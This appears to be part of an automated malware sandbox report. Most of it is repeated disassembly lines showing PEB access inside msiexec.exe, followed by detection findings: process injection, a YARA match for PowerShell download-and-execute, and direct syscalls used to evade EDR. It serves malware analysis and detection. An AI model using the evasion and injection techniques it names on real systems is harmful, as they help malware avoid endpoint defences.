Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF172 mov eax, dword ptr fs:[00000030h]	10_2_220EF172
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF172 mov eax, dword ptr fs:[00000030h]	10_2_220EF172
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF172 mov eax, dword ptr fs:[00000030h]	10_2_220EF172
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF172 mov eax, dword ptr fs:[00000030h]	10_2_220EF172
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF172 mov eax, dword ptr fs:[00000030h]	10_2_220EF172
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF172 mov eax, dword ptr fs:[00000030h]	10_2_220EF172
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF172 mov eax, dword ptr fs:[00000030h]	10_2_220EF172
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF172 mov eax, dword ptr fs:[00000030h]	10_2_220EF172
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF172 mov eax, dword ptr fs:[00000030h]	10_2_220EF172
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF172 mov eax, dword ptr fs:[00000030h]	10_2_220EF172
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF172 mov eax, dword ptr fs:[00000030h]	10_2_220EF172
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF172 mov eax, dword ptr fs:[00000030h]	10_2_220EF172
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF172 mov eax, dword ptr fs:[00000030h]	10_2_220EF172
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF172 mov eax, dword ptr fs:[00000030h]	10_2_220EF172
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF172 mov eax, dword ptr fs:[00000030h]	10_2_220EF172
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF172 mov eax, dword ptr fs:[00000030h]	10_2_220EF172
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF172 mov eax, dword ptr fs:[00000030h]	10_2_220EF172
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF172 mov eax, dword ptr fs:[00000030h]	10_2_220EF172
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF172 mov eax, dword ptr fs:[00000030h]	10_2_220EF172
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22147190 mov eax, dword ptr fs:[00000030h]	10_2_22147190
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2217019F mov eax, dword ptr fs:[00000030h]	10_2_2217019F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2217019F mov eax, dword ptr fs:[00000030h]	10_2_2217019F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2217019F mov eax, dword ptr fs:[00000030h]	10_2_2217019F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2217019F mov eax, dword ptr fs:[00000030h]	10_2_2217019F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221AC188 mov eax, dword ptr fs:[00000030h]	10_2_221AC188
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221AC188 mov eax, dword ptr fs:[00000030h]	10_2_221AC188
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22130185 mov eax, dword ptr fs:[00000030h]	10_2_22130185
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EA197 mov eax, dword ptr fs:[00000030h]	10_2_220EA197
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EA197 mov eax, dword ptr fs:[00000030h]	10_2_220EA197
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EA197 mov eax, dword ptr fs:[00000030h]	10_2_220EA197
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2210B1B0 mov eax, dword ptr fs:[00000030h]	10_2_2210B1B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221A11A4 mov eax, dword ptr fs:[00000030h]	10_2_221A11A4
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221A11A4 mov eax, dword ptr fs:[00000030h]	10_2_221A11A4
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221A11A4 mov eax, dword ptr fs:[00000030h]	10_2_221A11A4
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221A11A4 mov eax, dword ptr fs:[00000030h]	10_2_221A11A4
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2212D1D0 mov eax, dword ptr fs:[00000030h]	10_2_2212D1D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2212D1D0 mov ecx, dword ptr fs:[00000030h]	10_2_2212D1D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2216E1D0 mov eax, dword ptr fs:[00000030h]	10_2_2216E1D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2216E1D0 mov eax, dword ptr fs:[00000030h]	10_2_2216E1D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2216E1D0 mov ecx, dword ptr fs:[00000030h]	10_2_2216E1D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2216E1D0 mov eax, dword ptr fs:[00000030h]	10_2_2216E1D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2216E1D0 mov eax, dword ptr fs:[00000030h]	10_2_2216E1D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221C51CB mov eax, dword ptr fs:[00000030h]	10_2_221C51CB
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221B61C3 mov eax, dword ptr fs:[00000030h]	10_2_221B61C3
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221B61C3 mov eax, dword ptr fs:[00000030h]	10_2_221B61C3
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221971F9 mov esi, dword ptr fs:[00000030h]	10_2_221971F9
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220F51ED mov eax, dword ptr fs:[00000030h]	10_2_220F51ED
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221201F8 mov eax, dword ptr fs:[00000030h]	10_2_221201F8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221C61E5 mov eax, dword ptr fs:[00000030h]	10_2_221C61E5
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221151EF mov eax, dword ptr fs:[00000030h]	10_2_221151EF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221151EF mov eax, dword ptr fs:[00000030h]	10_2_221151EF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221151EF mov eax, dword ptr fs:[00000030h]	10_2_221151EF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221151EF mov eax, dword ptr fs:[00000030h]	10_2_221151EF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221151EF mov eax, dword ptr fs:[00000030h]	10_2_221151EF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221151EF mov eax, dword ptr fs:[00000030h]	10_2_221151EF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221151EF mov eax, dword ptr fs:[00000030h]	10_2_221151EF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221151EF mov eax, dword ptr fs:[00000030h]	10_2_221151EF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221151EF mov eax, dword ptr fs:[00000030h]	10_2_221151EF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221151EF mov eax, dword ptr fs:[00000030h]	10_2_221151EF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221151EF mov eax, dword ptr fs:[00000030h]	10_2_221151EF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221151EF mov eax, dword ptr fs:[00000030h]	10_2_221151EF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221151EF mov eax, dword ptr fs:[00000030h]	10_2_221151EF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132619 mov eax, dword ptr fs:[00000030h]	10_2_22132619
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2212F603 mov eax, dword ptr fs:[00000030h]	10_2_2212F603
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22121607 mov eax, dword ptr fs:[00000030h]	10_2_22121607
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220F3616 mov eax, dword ptr fs:[00000030h]	10_2_220F3616
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220F3616 mov eax, dword ptr fs:[00000030h]	10_2_220F3616
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2210260B mov eax, dword ptr fs:[00000030h]	10_2_2210260B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2210260B mov eax, dword ptr fs:[00000030h]	10_2_2210260B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2210260B mov eax, dword ptr fs:[00000030h]	10_2_2210260B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2210260B mov eax, dword ptr fs:[00000030h]	10_2_2210260B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2210260B mov eax, dword ptr fs:[00000030h]	10_2_2210260B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2210260B mov eax, dword ptr fs:[00000030h]	10_2_2210260B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2210260B mov eax, dword ptr fs:[00000030h]	10_2_2210260B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2216E609 mov eax, dword ptr fs:[00000030h]	10_2_2216E609
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220F262C mov eax, dword ptr fs:[00000030h]	10_2_220F262C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF626 mov eax, dword ptr fs:[00000030h]	10_2_220EF626
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF626 mov eax, dword ptr fs:[00000030h]	10_2_220EF626
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF626 mov eax, dword ptr fs:[00000030h]	10_2_220EF626
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF626 mov eax, dword ptr fs:[00000030h]	10_2_220EF626
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF626 mov eax, dword ptr fs:[00000030h]	10_2_220EF626
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF626 mov eax, dword ptr fs:[00000030h]	10_2_220EF626
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF626 mov eax, dword ptr fs:[00000030h]	10_2_220EF626
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF626 mov eax, dword ptr fs:[00000030h]	10_2_220EF626
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF626 mov eax, dword ptr fs:[00000030h]	10_2_220EF626
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221C5636 mov eax, dword ptr fs:[00000030h]	10_2_221C5636
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22126620 mov eax, dword ptr fs:[00000030h]	10_2_22126620
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22128620 mov eax, dword ptr fs:[00000030h]	10_2_22128620
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2210E627 mov eax, dword ptr fs:[00000030h]	10_2_2210E627
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2210C640 mov eax, dword ptr fs:[00000030h]	10_2_2210C640
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22122674 mov eax, dword ptr fs:[00000030h]	10_2_22122674
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2212A660 mov eax, dword ptr fs:[00000030h]	10_2_2212A660
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2212A660 mov eax, dword ptr fs:[00000030h]	10_2_2212A660
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22129660 mov eax, dword ptr fs:[00000030h]	10_2_22129660
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22129660 mov eax, dword ptr fs:[00000030h]	10_2_22129660
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221B866E mov eax, dword ptr fs:[00000030h]	10_2_221B866E
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221B866E mov eax, dword ptr fs:[00000030h]	10_2_221B866E
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2217368C mov eax, dword ptr fs:[00000030h]	10_2_2217368C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2217368C mov eax, dword ptr fs:[00000030h]	10_2_2217368C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2217368C mov eax, dword ptr fs:[00000030h]	10_2_2217368C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2217368C mov eax, dword ptr fs:[00000030h]	10_2_2217368C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220F4690 mov eax, dword ptr fs:[00000030h]	10_2_220F4690
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220F4690 mov eax, dword ptr fs:[00000030h]	10_2_220F4690
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221266B0 mov eax, dword ptr fs:[00000030h]	10_2_221266B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220ED6AA mov eax, dword ptr fs:[00000030h]	10_2_220ED6AA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220ED6AA mov eax, dword ptr fs:[00000030h]	10_2_220ED6AA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2212C6A6 mov eax, dword ptr fs:[00000030h]	10_2_2212C6A6
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220E76B2 mov eax, dword ptr fs:[00000030h]	10_2_220E76B2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220E76B2 mov eax, dword ptr fs:[00000030h]	10_2_220E76B2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220E76B2 mov eax, dword ptr fs:[00000030h]	10_2_220E76B2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220FB6C0 mov eax, dword ptr fs:[00000030h]	10_2_220FB6C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220FB6C0 mov eax, dword ptr fs:[00000030h]	10_2_220FB6C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220FB6C0 mov eax, dword ptr fs:[00000030h]	10_2_220FB6C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220FB6C0 mov eax, dword ptr fs:[00000030h]	10_2_220FB6C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220FB6C0 mov eax, dword ptr fs:[00000030h]	10_2_220FB6C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220FB6C0 mov eax, dword ptr fs:[00000030h]	10_2_220FB6C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2212A6C7 mov ebx, dword ptr fs:[00000030h]	10_2_2212A6C7
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2212A6C7 mov eax, dword ptr fs:[00000030h]	10_2_2212A6C7
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221B16CC mov eax, dword ptr fs:[00000030h]	10_2_221B16CC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221B16CC mov eax, dword ptr fs:[00000030h]	10_2_221B16CC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221B16CC mov eax, dword ptr fs:[00000030h]	10_2_221B16CC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221B16CC mov eax, dword ptr fs:[00000030h]	10_2_221B16CC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221AF6C7 mov eax, dword ptr fs:[00000030h]	10_2_221AF6C7
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221216CF mov eax, dword ptr fs:[00000030h]	10_2_221216CF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2216E6F2 mov eax, dword ptr fs:[00000030h]	10_2_2216E6F2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2216E6F2 mov eax, dword ptr fs:[00000030h]	10_2_2216E6F2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2216E6F2 mov eax, dword ptr fs:[00000030h]	10_2_2216E6F2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2216E6F2 mov eax, dword ptr fs:[00000030h]	10_2_2216E6F2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221706F1 mov eax, dword ptr fs:[00000030h]	10_2_221706F1
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221706F1 mov eax, dword ptr fs:[00000030h]	10_2_221706F1
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221AD6F0 mov eax, dword ptr fs:[00000030h]	10_2_221AD6F0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2211D6E0 mov eax, dword ptr fs:[00000030h]	10_2_2211D6E0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2211D6E0 mov eax, dword ptr fs:[00000030h]	10_2_2211D6E0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221836EE mov eax, dword ptr fs:[00000030h]	10_2_221836EE
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221836EE mov eax, dword ptr fs:[00000030h]	10_2_221836EE
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221836EE mov eax, dword ptr fs:[00000030h]	10_2_221836EE
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221836EE mov eax, dword ptr fs:[00000030h]	10_2_221836EE
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221836EE mov eax, dword ptr fs:[00000030h]	10_2_221836EE
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221836EE mov eax, dword ptr fs:[00000030h]	10_2_221836EE
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221236EF mov eax, dword ptr fs:[00000030h]	10_2_221236EF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22120710 mov eax, dword ptr fs:[00000030h]	10_2_22120710
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220F7703 mov eax, dword ptr fs:[00000030h]	10_2_220F7703
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220F5702 mov eax, dword ptr fs:[00000030h]	10_2_220F5702
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220F5702 mov eax, dword ptr fs:[00000030h]	10_2_220F5702
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2212F71F mov eax, dword ptr fs:[00000030h]	10_2_2212F71F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2212F71F mov eax, dword ptr fs:[00000030h]	10_2_2212F71F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2212C700 mov eax, dword ptr fs:[00000030h]	10_2_2212C700
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220F0710 mov eax, dword ptr fs:[00000030h]	10_2_220F0710
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221CB73C mov eax, dword ptr fs:[00000030h]	10_2_221CB73C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221CB73C mov eax, dword ptr fs:[00000030h]	10_2_221CB73C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221CB73C mov eax, dword ptr fs:[00000030h]	10_2_221CB73C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221CB73C mov eax, dword ptr fs:[00000030h]	10_2_221CB73C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2216C730 mov eax, dword ptr fs:[00000030h]	10_2_2216C730
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22125734 mov eax, dword ptr fs:[00000030h]	10_2_22125734
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2212273C mov eax, dword ptr fs:[00000030h]	10_2_2212273C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2212273C mov ecx, dword ptr fs:[00000030h]	10_2_2212273C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2212273C mov eax, dword ptr fs:[00000030h]	10_2_2212273C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220F3720 mov eax, dword ptr fs:[00000030h]	10_2_220F3720
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2210F720 mov eax, dword ptr fs:[00000030h]	10_2_2210F720
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2210F720 mov eax, dword ptr fs:[00000030h]	10_2_2210F720
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2210F720 mov eax, dword ptr fs:[00000030h]	10_2_2210F720
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221B972B mov eax, dword ptr fs:[00000030h]	10_2_221B972B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2212C720 mov eax, dword ptr fs:[00000030h]	10_2_2212C720
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2212C720 mov eax, dword ptr fs:[00000030h]	10_2_2212C720
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221AF72E mov eax, dword ptr fs:[00000030h]	10_2_221AF72E
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220F973A mov eax, dword ptr fs:[00000030h]	10_2_220F973A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220F973A mov eax, dword ptr fs:[00000030h]	10_2_220F973A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220E9730 mov eax, dword ptr fs:[00000030h]	10_2_220E9730
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220E9730 mov eax, dword ptr fs:[00000030h]	10_2_220E9730
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22174755 mov eax, dword ptr fs:[00000030h]	10_2_22174755
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132750 mov eax, dword ptr fs:[00000030h]	10_2_22132750
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22132750 mov eax, dword ptr fs:[00000030h]	10_2_22132750
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22103740 mov eax, dword ptr fs:[00000030h]	10_2_22103740
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22103740 mov eax, dword ptr fs:[00000030h]	10_2_22103740
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22103740 mov eax, dword ptr fs:[00000030h]	10_2_22103740
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221C3749 mov eax, dword ptr fs:[00000030h]	10_2_221C3749
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220F0750 mov eax, dword ptr fs:[00000030h]	10_2_220F0750
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2212674D mov esi, dword ptr fs:[00000030h]	10_2_2212674D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2212674D mov eax, dword ptr fs:[00000030h]	10_2_2212674D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2212674D mov eax, dword ptr fs:[00000030h]	10_2_2212674D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22100770 mov eax, dword ptr fs:[00000030h]	10_2_22100770
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22100770 mov eax, dword ptr fs:[00000030h]	10_2_22100770
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22100770 mov eax, dword ptr fs:[00000030h]	10_2_22100770
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22100770 mov eax, dword ptr fs:[00000030h]	10_2_22100770
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22100770 mov eax, dword ptr fs:[00000030h]	10_2_22100770
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22100770 mov eax, dword ptr fs:[00000030h]	10_2_22100770
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22100770 mov eax, dword ptr fs:[00000030h]	10_2_22100770
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22100770 mov eax, dword ptr fs:[00000030h]	10_2_22100770
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22100770 mov eax, dword ptr fs:[00000030h]	10_2_22100770
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22100770 mov eax, dword ptr fs:[00000030h]	10_2_22100770
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22100770 mov eax, dword ptr fs:[00000030h]	10_2_22100770
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22100770 mov eax, dword ptr fs:[00000030h]	10_2_22100770
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EB765 mov eax, dword ptr fs:[00000030h]	10_2_220EB765
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EB765 mov eax, dword ptr fs:[00000030h]	10_2_220EB765
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EB765 mov eax, dword ptr fs:[00000030h]	10_2_220EB765
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EB765 mov eax, dword ptr fs:[00000030h]	10_2_220EB765
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220F8770 mov eax, dword ptr fs:[00000030h]	10_2_220F8770
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221AF78A mov eax, dword ptr fs:[00000030h]	10_2_221AF78A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220F07AF mov eax, dword ptr fs:[00000030h]	10_2_220F07AF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2211D7B0 mov eax, dword ptr fs:[00000030h]	10_2_2211D7B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221C37B6 mov eax, dword ptr fs:[00000030h]	10_2_221C37B6
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF7BA mov eax, dword ptr fs:[00000030h]	10_2_220EF7BA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF7BA mov eax, dword ptr fs:[00000030h]	10_2_220EF7BA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF7BA mov eax, dword ptr fs:[00000030h]	10_2_220EF7BA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF7BA mov eax, dword ptr fs:[00000030h]	10_2_220EF7BA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF7BA mov eax, dword ptr fs:[00000030h]	10_2_220EF7BA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF7BA mov eax, dword ptr fs:[00000030h]	10_2_220EF7BA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF7BA mov eax, dword ptr fs:[00000030h]	10_2_220EF7BA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF7BA mov eax, dword ptr fs:[00000030h]	10_2_220EF7BA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EF7BA mov eax, dword ptr fs:[00000030h]	10_2_220EF7BA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2217F7AF mov eax, dword ptr fs:[00000030h]	10_2_2217F7AF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2217F7AF mov eax, dword ptr fs:[00000030h]	10_2_2217F7AF

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created / APC Queued / Resumed: C:\Windows\SysWOW64\msiexec.exe

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_7156.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7156, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6656, type: MEMORYSTR

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtAllocateVirtualMemory: Direct from: 0x76EF48EC	Jump to behavior
